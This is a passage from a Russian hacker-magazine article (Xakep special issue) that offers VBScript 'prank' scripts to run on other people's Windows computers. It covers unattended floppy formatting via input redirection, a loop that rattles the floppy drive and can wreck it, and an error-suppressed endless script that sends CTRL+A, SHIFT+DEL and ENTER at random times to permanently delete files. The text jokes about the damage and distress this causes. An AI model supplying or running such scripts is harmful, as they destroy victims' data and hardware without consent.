ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах
Анализирующий
Спецвыпуск Xakep, номер #033, стр. 033-046-3
txtcom.writeline "y"
на
txtcom.writeline "n"
Форматирование будет отложено до закрытия файлов.
Краткое пояснение принципа действия сценария. Как известно, в системе MS-DOS вывод на экран можно перенаправить в текстовый файл, указав после команды символ ">" в режиме нового файла или ">>" в режиме добавления к имеющемуся файлу и имя получаемого файла. Например, командой "dir c:\windows > c:\1.txt" будет получен файл C:\1.txt, содержащий листинг файлов и папок каталога C:\windows. Но далеко не всем известно, что возможно обратное перенаправление с использованием символа "<". На этом принципе и основан данный скрипт. В текстовый файл заносятся предполагаемые нажатия на клавиатуру, а затем они считываются программой Format. В итоге все действия происходят без участия пользователя, что нам и требовалось. Ну а консоль Windows XP с успехом выполняет эти функции MS-DOS.
Что же делать, если дискета не вставлена? Неужели лишать себя законного удовольствия? Не стоит. Пусть дисковод в знак возмущения издает громкие звуки. Для разнообразия, так сказать.
Option explicit
Dim fso, odrive
Dim x, y, z
y=500
'y - Приблизительная длительность тарахтения флоппаря
Set fso = CreateObject("Scripting.FileSystemObject")
set odrive = fso.getdrive("a:\")
'Подключаются системные объекты
for x=1 to y
'Процесс пошел
if odrive.isready then
'Проверяется наличие дискеты
'Отсюда и происходит весь шум
z=1
'Фиктивная операция
'Не ради этого все затевалось
end if
'Завершаем микроцикл
next
'Поехали по кругу
Скрипт будет работать, если: на компе есть дисковод, он висит на букве А и в нем нет дискеты.
Конечно, при желании эту штучку можно облагородить, а именно: добавить определение наличия дисковода, его букву и присутствие в нем дискеты, включать трещалку через определенные или случайные промежутки времени, заставить дисковод наигрывать определенную мелодию. И имей в виду, что этим приколом реально угробить FDD.
ЗАВЕТНЫЕ КНОПОЧКИ
А теперь приступим к термоядерному межгалактическому терроризму в рамках отдельно взятого писюка. Будем периодически посылать с клавиатуры разрушительную комбинации клавиш подобно этой: CTRL+A, SHIFT+DEL, ENTER. Это приведет к соответствующим результатам: удалению файлов и папок, текстов (смотря какое окно было на первом плане), выскакиванию глаз из орбит, порче материальных ценностей, биению головой о стену, массовым явлениям суицида и другим подобным веселеньким (кому как :)) вещам. А поможет нам в этом этот скриптик:
Option Explicit
Dim WshShell
Dim f, x
f=0
'Объявляются используемые переменные
On Error Resume Next
'Блокировка сообщений об ошибках
Set WshShell=WScript.CreateObject("WScript.Shell")
'Подключаются системные объекты
Do While f=0
'Создается бесконечный цикл
'для работы скрипта до перезагрузки
Wscript.Sleep Int((1800000)*Rnd)
WshShell.SendKeys "^{a}"
'Посылается комбинация клавиш CTRL+A
WshShell.SendKeys "+{DEL}"
'Посылается комбинация клавиш SHIFT+DEL
WshShell.SendKeys "{ENTER}"